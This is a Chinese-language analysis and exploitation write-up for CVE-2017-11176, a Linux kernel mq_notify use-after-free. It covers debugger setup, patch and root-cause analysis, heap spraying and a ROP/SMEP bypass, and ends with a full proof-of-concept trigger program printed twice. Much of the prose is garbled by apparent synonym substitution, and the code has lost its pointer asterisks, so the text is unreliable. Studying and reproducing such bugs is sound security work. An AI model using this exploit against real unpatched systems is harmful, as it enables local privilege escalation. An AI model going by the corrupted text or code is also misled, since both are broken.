作者:维阵漏洞研究员--km1ng

01 概述

Linux内核中的POSIX行列步队实现中存在一个UAF漏洞CVE-2017-11176。
攻击者可以利用该漏洞导申谢绝做事或实行任意代码。

linux kernel UAFCVE201711176马脚分析与运用 休闲娱乐

02 影响范围

内核版本至最高Linux kernel through 4.11.9中的mq_notify函数在进入etry logic时不会将sock指针设置为NULL。
Netlink套接字的用户空间关闭期间,它许可攻击者导致UAF。

Red Hat:

Ubuntu:

Debian:

https://www.cvedetails.com/cve/CVE-2017-11176/https://www.suse.com/security/cve/CVE-2017-11176/https://ubuntu.com/security/CVE-2017-11176https://access.redhat.com/security/cve/CVE-2017-11176

03 环境搭建

3.1 调试环境

3.2 Centos7 双机调试

3.2.1 centos实行命令

yum install -y kernel-devel sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo 里面的enable字段修正为enable=1sudo debuginfo-install kernel vi /boot/grub2/grub.cfg vi /etc/grub2.cfg 实行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行 kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr实行下面命令更新grubgrub2-mkconfig -o /boot/grub2/grub.cfggrub2-mkconfig -o /etc/grub2.cfg

上面的ttyS0是有可能改变的,如有打印机等请移除。

3.2.2 vmware添加串口

centos7添加串口:

ubuntu添加串口:

测试串口:

centos实行:cat/dev/ttyS0ubuntu实行:echo hello >/dev/ttyS0

如上图所示centos输出hello代表成功。

3.2.3 测试调试环境

拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。

/usr/lib/debug/lib/modules/3.10.0-693.el7.x86_64/vmlinux

重新启动centos,会创造centos如下图所示。

ubuntu实行下面的命令,每次ubuntu重启后都须要重新实行。

sudo stty -F /dev/ttyS0 115200sudo stty -F /dev/ttyS0gdb target remote /dev/ttyS0 file vmlinux c

centos正常运行,调试环境搭建成功。

3.3 下载源码

uname -a 查看自己内核版本cat /etc/redhat-release 查看版本

下面的链接为centos源码下载官网:

https://vault.centos.org/

打开后如下图所示。

进入官网后,再一次进入自己对应机器的版本。
这里进入7.4,进入os/,进入Source/,进入SPackages/,找到对应版本的rpm包下载在解压即可。

将得到的源码包放入ubuntu调试机。
(如果本地的物理机是windows也保留一份,须要对照源码)

调试centos内核的时候,利用dir命令加载源码,在利用l命令查看是否成功,如下图所示。

dir /home/koffer/linux-3.10.0-693.el7

先利用exploit验证一下漏洞是否存在,提权成功。

04 补丁剖析

源码的下载办法上面已给出,利用任何习气的代码阅读器打开。

补丁地址:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/id=f991af3daabaecff34684fd51fac80319d1baad1

可以创造补丁点在mqueue.c,并且只添加了一行。

patch的描述供应了更多的信息:

mqueue: fix a use-after-free in sys_mq_notify()The retry logic for netlink_attachskb() inside sys_mq_notify()is nasty and vulnerable:1) The sock refcnt is already released when retry is needed2) The fd is controllable by user-space because we already release the file refcntso we then retry but the fd has been just closed by user-spaceduring this small window, we end up calling netlink_detachskb()on the error path which releases the sock again, later whenthe user-space closes this socket a use-after-free could betriggered.Setting 'sock' to NULL here should be sufficient to fix it

有漏洞的代码存在于mq_notify在retry的逻辑中有缺点在sock的计数器上有缺点导致UAF漏洞与已经关闭的fd的条件竞争有关

先容下mq_notify系统调用的用场,mq_代表”POSIX message queues”,用来代替System V message queues:

POSIX message queues allow processes to exchange data in the form of messages.This API is distinct from that provided by System V message queues (msgget(2),msgsnd(2), msgrcv(2), etc.), but provides similar functionality.

mq_notify()系统调用用来注册或注销异步提醒:

mq_notify() allows the calling process to register or unregister for delivery of an asynchronous notification when a new message arrives on the empty message queue referred to by the descriptor mqdes.

05 漏洞成因剖析

Posix行列步队许可异步事宜关照,当往一个空行列步队放置一个时,Posix行列步队许可产生一个旗子暗记或启动一个线程。
这种异步事宜关照调用mq_notify函数实现,mq_notify为指定行列步队建立或删除异步关照。
由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL,可能导致UAF漏洞。

本文章利用的内核源代码为centos7.4 1708 版本默认内核版本版本3.10.0-693.el7的源码。

首先查识破绽所在代码/ipc/mqueue.c:

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes, const struct sigevent __user , u_notification)

根据上面的补丁信息,先查看函数的实行流程,下图是经由删减的mq_notify函数。

// from [ipc/mqueue.c] SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes, const struct sigevent __user , u_notification) { int ret; struct file filp; struct sock sock; struct sigevent notification; struct sk_buff nc; // ... cut (copy userland data to kernel + skb allocation) ... sock = NULL; retry:[0] filp = fget(notification.sigev_signo); if (!filp) { ret = -EBADF;[1] goto out; }[2a] sock = netlink_getsockbyfilp(filp);[2b] fput(filp); if (IS_ERR(sock)) { ret = PTR_ERR(sock); sock = NULL;[3] goto out; } timeo = MAX_SCHEDULE_TIMEOUT;[4] ret = netlink_attachskb(sock, nc, &timeo, NULL); if (ret == 1)[5a] goto retry; if (ret) { sock = NULL; nc = NULL;[5b] goto out; }[5c] // ... cut (normal path) ... out: if (sock) { netlink_detachskb(sock, nc); } else if (nc) { dev_kfree_skb(nc); } return ret; }

首先开始从【0】处获取用户供应的文件描述符,如果这个fd不存在于当提高程的fdt中,将会返回空指针并进入退出流程[1]。

[2a]供应的文件的sock工具也被获取。
如果没有有效的sock工具,同样会置NULL并进入退出流程[3]。

随后调用netlink_attachskb()函数。

直接到【5c】处ret==1 实行到retrync和sock置为NULL然后实行到退出流程

根据补丁信息该当是要netlink_attachskb返回值为1实行到retry处才能触发漏洞,但是还有一块逻辑nc和sock为什么要置为NULL。

跟进netlink_detachskb函数:

再次跟进sock_put函数:

可以创造sock被置NULL并进入退出流程他的引用计数器sk_refcnt无条件会减一。
正如patch所描述的,漏洞代码的sock工具的refcount存在着问题。

转头去查看retry处代码:

创造了netlink_getsockbyfilp函数。
跟进netlink_getsockbyfilp函数,如下图所示。

sock工具的refcounter在sock_hold处被增加,计数器无条件地被netlink_getsockbyfilp()加一,被netlink_detachskb()(如果sock非空)减一。

下面为netlink_attachskb函数简化代码:

// from [net/netlink/af_netlink.c]/ Attach a skb to a netlink socket. The caller must hold a reference to the destination socket. On error, the reference is dropped. The skb is not sent to the destination, just all all error checks are performed and memory in the queue is reserved. Return values: < 0: error. skb freed, reference to sock dropped. 0: continue 1: repeat lookup - reference dropped while waiting for socket memory. /int netlink_attachskb(struct sock sk, struct sk_buff skb, long timeo, struct sock ssk){ struct netlink_sock nlk; nlk = nlk_sk(sk); if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) { // ... cut (wait until some conditions) ... sock_put(sk); // <----- refcnt decremented here if (signal_pending(current)) { kfree_skb(skb); return sock_intr_errno(timeo); // <----- "error" path } return 1; // <----- "retry" path } skb_set_owner_r(skb, sk); // <----- "normal" path return 0;}

函数的功能是将skb绑定到netlink socket,sock_put(sk)导致refcnt减少,末了return 1,返回返回直接goto到retry标签的地方。

如下图所示,这里并没有将sock和nc置为NULL:

下面这两处函数的调用刚好将引用计数抵消:

如下图所示在retry代码块中,f=fdget(notification.sigev_signo),如果f.file为空,直接goto到out标签。

在上面的剖析中,out判断sock是否为空,如果不为空,调用netlink_detachskb函数。
开释skb,并减少sk引用计数,进行开释。
那么就有问题了,如果我们创建A线程保持netlink_attachskb返回1,并重复retry逻辑,这个时候sock的引用计数是保持平衡的,一加一减,但是sock并不是为空。
同时再创建B线程去关闭netlink socket对应的文件描述符。
由于B线程关闭了netlink socket的文件描述符,那A线程在retry逻辑中,调用fdget时会失落败,然后直接goto到out标签,进行开释,进行了二次开释,导致漏洞。
这个漏洞是属于条件竞争型的二次开释漏洞,只在一个线程中,是无法触发漏洞。

06 触发漏洞

现在已经知道漏洞是如何造成的了,但是如何触发这个漏洞。

6.1 netlink_attachskb函数流程剖析

在netlink_attachskb函数中,紧张逻辑如下:

1、判断atomic_read(&sk->sk_rmem_alloc)是否大于sk->sk_rcvbuf,或者 test_bit(NETLINK_CONGESTED,&nlk->state))是否为真,和netlink_skb_is_mmaped(skb)是否为空;个中netlink_skb_is_mmaped(skb)返回构造肯定为True。

如果进入该分支,首先会调用 DECLARE_WAITQUEUE声明一个等待行列步队;判断timeo是否为空,这里不为空,不进入后续分支;随后调用__set_current_state设置当前task状态TASK_INTERRUPTIBLE;然后调用add_wait_queue将当前哨程添加到 wait行列步队;然后进入判断,由于(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))这个判断在最开始已经为真,以是只须要确定 sock_flag是否为sock_DEAD。
若为真,则调用schedule_timeout进行cpu调度,当前哨程进入block状态;调用__set_current_state函数,设置当前task为TASK_RUNNING;调用remove_wait_queue函数,将当前哨程从 wait行列步队中移除;调用sock_put函数,将sock的引用计数减1;末了调用signal_pending判断当前current,若为真,则调用kfree_skb开释skb;末了返回1。

2、如果不进入该分支,则会调用netlink_skb_set_owner_r函数:

会调用atomic_add将sk->sk_rmem_alloc加上skb->truesize,也便是扩大了sk->sk_rmem_alloc大小。

首先netlink_skb_is_mmaped(skb)肯定为True,以是只须要(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))为真即可。

为了触发漏洞,须要netlink_attachskb的返回值为1,可以通过增大sk->sk_rmem_alloc的值或减小sk->sk_rcvbuf的值。

6.2 增大sk->sk_rmem_alloc

在netlink_attachskb函数中,首先会对sk->sk_rmem_alloc与sk->sk_recvbuf函数进行判断,如果判断不通过,则会实行到netlink_set_owner_r函数。

sk_rmem_alloc可以视为sk缓冲区确当前大小,sk_rcvbuf是sk的理论大小,由于sk_rmem_alloc有即是0的情形,因此sk_rcvbuf可能须要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是它的值始终会是一个>0的值,因此这个判断很难以通过。
会直接实行到 netlink_skb_set_owner_r。

那么是否能够通过多次调用mq_notify()函数,第一次直接实行netlink_skb_set_owner_r来增大 sk_rmem_alloc,然后第二次实行时由于 sk_rmem_alloc已经增大了来进入返回1的路径。

行列步队的一个成员只能实行一次。
以是只能想办法用其他路径来触发netlink_skb_set_owner_r,以此来增大sk_rmem_alloc。
这里先探求一下关于 netlink_skb_set_owner_r的调用链。

终极创造如下调用链,可以调用skb_set_owner_r来变动sk_rmem_alloc的值:

netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r

查看netlink_sendmsg代码:

实行netlink_unicast函数须要知足如下条件:

msg->msg_flags不即是MSG_OOBscm_send返回值大于即是0,也即担保msg->msg_controllen<=0即可addr->nl_family=AF_NETLINK,且 dst_group不即是dst_portid,netlink_allowed返回值不为空nlk->portid不为空,且sk->sk_sndbuf-32大于len须要掌握msg->msg_iter的type\nr_segs\iov为对应值

末了调用netlink_unicast,但是这个函数里面没有易于我们掌握的参数。

调用该函数可以直接通过调用链调用 netlink_attachskb,末了调用 netlink_skb_set_owner_r,也便是会增加 sk_rmem_alloc的值。

6.3 减小sk->sk_rcvbuf

setsockopt函数中,找到sock_setsockopt的函数,个中有对sk->sk_rcvbuf的操作:

首先val从val和sysctl_rmem_max中取最小值。
然后sk->sk_rcvbuf从val2和sock_min_rcvbuf中取最大值。
这里就可以修正sk->sk_rcvbuf的值。
这里的val是由我们传入的,可以掌握sk->sk_rcvbuf的大小。

当ret==1时触发漏洞,ret为netlink_attachskb的返回值,mq_notify系统调用实行到 netlink_attachskb的条件:

u_notification !=NULLnotification.sigev_notify = SIGEV_THREADnotification.sigev_value.sival_ptr必须有效notification.sigev_signo供应一个有效的文件描述符

6.4 唤醒线程

在上面对netlink_attachskb进行剖析时讲到当进入 if分支后,会实行schedule_timeout,会让当前哨程进入block状态。
而不想壅塞线程,只能设置 sock_flag为SOCK_DEAD,但是如果这样设置后面就没法再实行了。
以是这里必须得进入block状态,我们只能想办法去唤醒被block的线程。

调用wake_up_interruptible来唤醒线程,调用链和代码如下所示:

netlink_setsockopt->wake_up_interruptible

6.5 retry跳转到out

通过上面的操作,已经能担保netlink_attackskb首先进入retry分支。
然后我们要使retry循环出错,直接跳转到out代码块。

netlink_attackskb的正常流程为:

netlink_getsockbyfilp根据fd获取sock构造,此时 ock的引用加1;然后进入attachskb函数,判断此时的sk是不是满了,如果满了,则sock的引用减一;然后连续考试测验获取sock,当sock还有剩余空间的时候,把skb跟sock绑定;此时sock的引用,一加一减保持平衡。

通过多线程同时竞争则会产生如下情形:

当线程1还未进入retry时,线程2调用了close触发了fputs,使引用计数ref count减1,并从映射表中将fd和文件的映射移除,由于调用 close(fd)函数将会开释末了一个对文件的引用,以是file构造体将会被开释。
由于file构造体被开释,干系联的sock的构造体的引用计数减1,且sock的计数为0,导致其被开释。
这时 sock指针并没有被设置为 NULL,使其成为一个野指针。
然后在线程1中,由于 fd已经不指向任何有效的文件构造,以是第二次调用 fget()时会失落败,程序将会跳转到 out标签处,接着 netlink_detachskb()将会利用之前已经被开释的 sock指针,导致 use after free。
这里的 use after free是漏洞导致的结果而不是漏洞产生的缘故原由。

07 漏洞利用

7.1 堆分配

对付UAF类型的漏洞,通用方法便是利用堆喷射占位。
本次漏洞中被多次开释的工具是netlink_sock工具。
netlink_sock工具大小为0x4a8字节,即是1192byte。

slab分配器在分配工具时,遵守后进先出的规则。
下图是slab分配器开释工具的过程。

要开释的objp在ac->entry的末端,slab分配工具直接在ac->entry末端弹出一个工具。

被开释的工具是排在链表末段,如果此时同一缓存中进行工具分配,刚刚开释的工具会被重新分配出去,这就涌现两个指针指向同一块内存地址。
要想担保申请的内存恰好落在漏洞工具的内存位置中:

堆喷工具利用的内核缓存该当和漏洞工具内存在同一个缓存中。

ac本身是array_chche构造体,该构造体是本地高速缓存,每个CPU对应一个,以是还要担保堆喷申请的工具和漏洞工具在同一个CPU本地高速缓存中。

如果堆喷申请的工具只是短暂驻留,当该函数返回时将申请的工具进行了开释,导致无法精确占位。
以是要能担保申请的工具不被开释,至少担保在利用漏洞工具时不被开释,这里要采取驻留式内存占位,可以采纳让某些系统调用过程壅塞。

7.2 利用流程剖析

7.2.1 wait等待行列步队

在进行堆喷、布局堆喷工具时,有必要在对应漏洞工具的一些分外成员域的内存偏移处设置magic value,然后可以采取系统调用去获取漏洞工具中干系数据进行判断。
netlink_sock构造体几个关键的成员如下图所示:

采取getsockname系统调用获取数据,getsockname会调用netlink_getname。
详细看一下netlink_getname函数:

将netlink_sock工具中的portid复制给nladdr->nl_pid。
如果nlk->group为0,将nladdr->nl_groups赋值为NULL,这里避免解引用nlk->groups指针,直接可以在布局堆喷工具时将groups域填零。
而nladdr是从addr转换过来的,addr便是从用户层传入的缓冲区,netlink_sock构造体如下:

wait_queue_haed_t构造体如下图所示:

7.2.2 func实行代码

task_list成员是一个双向循环链表头,task_list中链接的每一个成员都是须要处理的等待例程元素。
进入如下图所示的wake_up_interruptible函数中。

如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。
curr为wait_queue_t指针,解释q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t构造体。

如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。
curr为wait_queue_t指针,解释q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t构造体。

wait_queue_t构造体如下所示:

queue元素,对pos->member.next进行理解引用,这里的pos->member便是wait_queue中的task_list。
__wait_queue中的task_list也是一个链表头,须要指向一个list_head,以是还必须要布局一个假的list_head以便于该宏进行解引用。

7.3 调试验证

根据上面的剖析已经明白了漏洞触发到漏洞利用的一个整体的流程,编写漏洞利用代码并测试,可以先在netlink_attachskb下断点,判断返回值是否为1,如果为1解释已经进入retry分支,然后在fdget下断点判断是否为0,判断成功后将会进入out分支,double-fetch成功。

如下图所示netlink_attachskb返回1,成功进入retry。

连续对fdget下断点,查看是否如我们想象中的那样运行。

如上图所示fget返回值为0,程序的实行流程转为out。

在__wake_up_common调用函数指针下断点实行下去,创造程序终极实行到布局的rop链条,如下图所示。

下图是我利用的centos7.4所布局的rop链条。

通过ROP链绕过SMEP实行提权代码。

08 poc

下面的代码是可以触发漏洞的poc。

/ CVE-2017-11176 Proof-of-concept code by LEXFO. Compile with: gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit /#define _GNU_SOURCE#include <asm/types.h>#include <mqueue.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/socket.h>#include <linux/netlink.h>#include <pthread.h>#include <errno.h>#include <stdbool.h>// ============================================================================// ----------------------------------------------------------------------------// ============================================================================#define NOTIFY_COOKIE_LEN (32)#define SOL_NETLINK (270) // from [include/linux/socket.h]// ----------------------------------------------------------------------------// avoid library wrappers#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)#define _setsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)#define _getsockopt(sockfd, level, optname, optval, optlen) \ syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)#define _dup(oldfd) syscall(__NR_dup, oldfd)#define _close(fd) syscall(__NR_close, fd)#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)// ----------------------------------------------------------------------------#define PRESS_KEY() \ do { printf("[ ] press key to continue...\n"); getchar(); } while(0)// ============================================================================// ----------------------------------------------------------------------------// ============================================================================struct unblock_thread_arg{ int sock_fd; int unblock_fd; bool is_ready; // we can use pthread barrier instead};// ----------------------------------------------------------------------------static void unblock_thread(void arg){ struct unblock_thread_arg uta = (struct unblock_thread_arg) arg; int val = 3535; // need to be different than zero // notify the main thread that the unblock thread has been created. It must // directly call mq_notify(). uta->is_ready = true; sleep(5); // gives some time for the main thread to block printf("[ ][unblock] closing %d fd\n", uta->sock_fd); _close(uta->sock_fd); printf("[ ][unblock] unblocking now\n"); if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val))) perror("[+] setsockopt"); return NULL;}// ----------------------------------------------------------------------------static int decrease_sock_refcounter(int sock_fd, int unblock_fd){ pthread_t tid; struct sigevent sigev; struct unblock_thread_arg uta; char sival_buffer[NOTIFY_COOKIE_LEN]; // initialize the unblock thread arguments uta.sock_fd = sock_fd; uta.unblock_fd = unblock_fd; uta.is_ready = false; // initialize the sigevent structure memset(&sigev, 0, sizeof(sigev)); sigev.sigev_notify = SIGEV_THREAD; sigev.sigev_value.sival_ptr = sival_buffer; sigev.sigev_signo = uta.sock_fd; printf("[ ] creating unblock thread...\n"); if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) { perror("[-] pthread_create"); goto fail; } while (uta.is_ready == false) // spinlock until thread is created ; printf("[+] unblocking thread has been created!\n"); printf("[ ] get ready to block\n"); if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) { perror("[-] mq_notify"); goto fail; } printf("[+] mq_notify succeed\n"); return 0;fail: return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================/ Creates a netlink socket and fills its receive buffer. Returns the socket file descriptor or -1 on error. /static int prepare_blocking_socket(void){ int send_fd; int recv_fd; char buf[102410]; int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF struct sockaddr_nl addr = { .nl_family = AF_NETLINK, .nl_pad = 0, .nl_pid = 118, // must different than zero .nl_groups = 0 // no groups }; struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) }; struct msghdr mhdr = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = NULL, .msg_controllen = 0, .msg_flags = 0, }; printf("[ ] preparing blocking netlink socket\n"); if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 || (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0) { perror("socket"); goto fail; } printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd); while (_bind(recv_fd, (struct sockaddr)&addr, sizeof(addr))) { if (errno != EADDRINUSE) { perror("[-] bind"); goto fail; } addr.nl_pid++; } printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid); if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size))) perror("[-] setsockopt"); // no worry if it fails, it is just an optim. else printf("[+] receive buffer reduced\n"); printf("[ ] flooding socket\n"); while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0) ; if (errno != EAGAIN) { perror("[-] sendmsg"); goto fail; } printf("[+] flood completed\n"); _close(send_fd); printf("[+] blocking socket ready\n"); return recv_fd;fail: printf("[-] failed to prepare block socket\n"); return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================int main(void){ int sock_fd = -1; int sock_fd2 = -1; int unblock_fd = 1; printf("[ ] -={ CVE-2017-11176 Exploit }=-\n"); if ((sock_fd = prepare_blocking_socket()) < 0) goto fail; printf("[+] netlink socket created = %d\n", sock_fd); if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0)) { perror("[-] dup"); goto fail; } printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2); // trigger the bug twice if (decrease_sock_refcounter(sock_fd, unblock_fd) || decrease_sock_refcounter(sock_fd2, unblock_fd)) { goto fail; } printf("[ ] ready to crash?\n"); PRESS_KEY(); // TODO: exploit return 0;fail: printf("[-] exploit failed!\n"); PRESS_KEY(); return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================

xxxxxxxxxxbr/br CVE-2017-11176 Proof-of-concept code by LEXFO.br br Compile with:br br gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploitbr /brbrbr#define _GNU_SOURCEbr#include <asm/types.h>br#include <mqueue.h>br#include <stdio.h>br#include <stdlib.h>br#include <string.h>br#include <unistd.h>br#include <sys/syscall.h>br#include <sys/types.h>br#include <sys/socket.h>br#include <linux/netlink.h>br#include <pthread.h>br#include <errno.h>br#include <stdbool.h>brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbr#define NOTIFY_COOKIE_LEN (32)br#define SOL_NETLINK (270) // from [include/linux/socket.h]brbrbr// ----------------------------------------------------------------------------brbrbr// avoid library wrappersbr#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)br#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)br#define _setsockopt(sockfd, level, optname, optval, optlen) \br syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)br#define _getsockopt(sockfd, level, optname, optval, optlen) \br syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)br#define _dup(oldfd) syscall(__NR_dup, oldfd)br#define _close(fd) syscall(__NR_close, fd)br#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)br#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)brbrbr// ----------------------------------------------------------------------------brbrbr#define PRESS_KEY() \br do { printf("[ ] press key to continue...\n"); getchar(); } while(0)brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbrstruct unblock_thread_argbr{br int sock_fd;br int unblock_fd;br bool is_ready; // we can use pthread barrier insteadbr};brbrbr// ----------------------------------------------------------------------------brbrbrstatic void unblock_thread(void arg)br{br struct unblock_thread_arg uta = (struct unblock_thread_arg) arg;br int val = 3535; // need to be different than zerobrbrbr // notify the main thread that the unblock thread has been created. It mustbr // directly call mq_notify().br uta->is_ready = true; brbrbr sleep(5); // gives some time for the main thread to blockbrbrbr printf("[ ][unblock] closing %d fd\n", uta->sock_fd);br _close(uta->sock_fd);brbrbr printf("[ ][unblock] unblocking now\n");br if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))br perror("[+] setsockopt");br return NULL;br}brbrbr// ----------------------------------------------------------------------------brbrbrstatic int decrease_sock_refcounter(int sock_fd, int unblock_fd)br{br pthread_t tid;br struct sigevent sigev;br struct unblock_thread_arg uta;br char sival_buffer[NOTIFY_COOKIE_LEN];brbrbr // initialize the unblock thread argumentsbr uta.sock_fd = sock_fd;br uta.unblock_fd = unblock_fd;br uta.is_ready = false;brbrbr // initialize the sigevent structurebr memset(&sigev, 0, sizeof(sigev));br sigev.sigev_notify = SIGEV_THREAD;br sigev.sigev_value.sival_ptr = sival_buffer;br sigev.sigev_signo = uta.sock_fd;brbrbr printf("[ ] creating unblock thread...\n");br if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)br {br perror("[-] pthread_create");br goto fail;br }br while (uta.is_ready == false) // spinlock until thread is createdbr ;br printf("[+] unblocking thread has been created!\n");brbrbr printf("[ ] get ready to block\n");br if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))br {br perror("[-] mq_notify");br goto fail;br }br printf("[+] mq_notify succeed\n");brbrbr return 0;brbrbrfail:br return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbr/br Creates a netlink socket and fills its receive buffer.br br Returns the socket file descriptor or -1 on error.br /brbrbrstatic int prepare_blocking_socket(void)br{br int send_fd;br int recv_fd;br char buf[102410];br int new_size = 0; // this will be reset to SOCK_MIN_RCVBUFbrbrbr struct sockaddr_nl addr = {br .nl_family = AF_NETLINK,br .nl_pad = 0,br .nl_pid = 118, // must different than zerobr .nl_groups = 0 // no groupsbr };brbrbr struct iovec iov = {br .iov_base = buf,br .iov_len = sizeof(buf)br };brbrbr struct msghdr mhdr = {br .msg_name = &addr,br .msg_namelen = sizeof(addr),br .msg_iov = &iov,br .msg_iovlen = 1,br .msg_control = NULL,br .msg_controllen = 0,br .msg_flags = 0, br };brbrbr printf("[ ] preparing blocking netlink socket\n");brbrbr if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||br (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)br {br perror("socket");br goto fail;br }br printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);brbrbr while (_bind(recv_fd, (struct sockaddr)&addr, sizeof(addr)))br {br if (errno != EADDRINUSE)br {br perror("[-] bind");br goto fail;br }br addr.nl_pid++;br }brbrbr printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);brbrbr if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))br perror("[-] setsockopt"); // no worry if it fails, it is just an optim.br elsebr printf("[+] receive buffer reduced\n");brbrbr printf("[ ] flooding socket\n");br while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)br ;br if (errno != EAGAIN)br {br perror("[-] sendmsg");br goto fail;br }br printf("[+] flood completed\n");brbrbr _close(send_fd);brbrbr printf("[+] blocking socket ready\n");br return recv_fd;brbrbrfail:br printf("[-] failed to prepare block socket\n");br return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbrint main(void)br{br int sock_fd = -1;br int sock_fd2 = -1;br int unblock_fd = 1;brbrbr printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");brbrbr if ((sock_fd = prepare_blocking_socket()) < 0)br goto fail;br printf("[+] netlink socket created = %d\n", sock_fd);brbrbr if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))br {br perror("[-] dup");br goto fail;br }br printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);brbrbr // trigger the bug twicebr if (decrease_sock_refcounter(sock_fd, unblock_fd) ||br decrease_sock_refcounter(sock_fd2, unblock_fd))br {br goto fail;br }brbrbr printf("[ ] ready to crash?\n");br PRESS_KEY();brbrbr // TODO: exploitbrbrbr return 0;brbrbrfail:br printf("[-] exploit failed!\n");br PRESS_KEY();br return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================

09 总结

此漏洞的事理很大略、利用办法不是很难,但是我也调试挺永劫光,难点在于如何去触发漏洞以及利用漏洞的时候绕过各种检讨和条件。
虽然现在已经得到了root shell但是还有很多须要改进的地方。
剖析复现漏洞该当更加关注自己利用的环境,自己的环境和别人文章中的是有不同的。
清楚明白漏洞产生的缘故原由,如何去触发漏洞、绕过检讨、利用手腕、清理环境等。
这篇文章也是笔者第一次剖析复现linux下的内核提权漏洞,如有不当之处还请示正。

视频演示:

「链接」linux kernel UAF(CVE-2017-11176)漏洞剖析与利用

参考链接:

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.htmlhttps://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.htmlhttps://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.htmlhttps://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.htmlhttps://sunichi.github.io/2019/10/08/CVE-2017-11176-2/https://paper.seebug.org/785/#3https://a1ex.online/2021/04/08/CVE-2017-11176-Kernel-double-fetch%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/https://www.anquanke.com/post/id/190179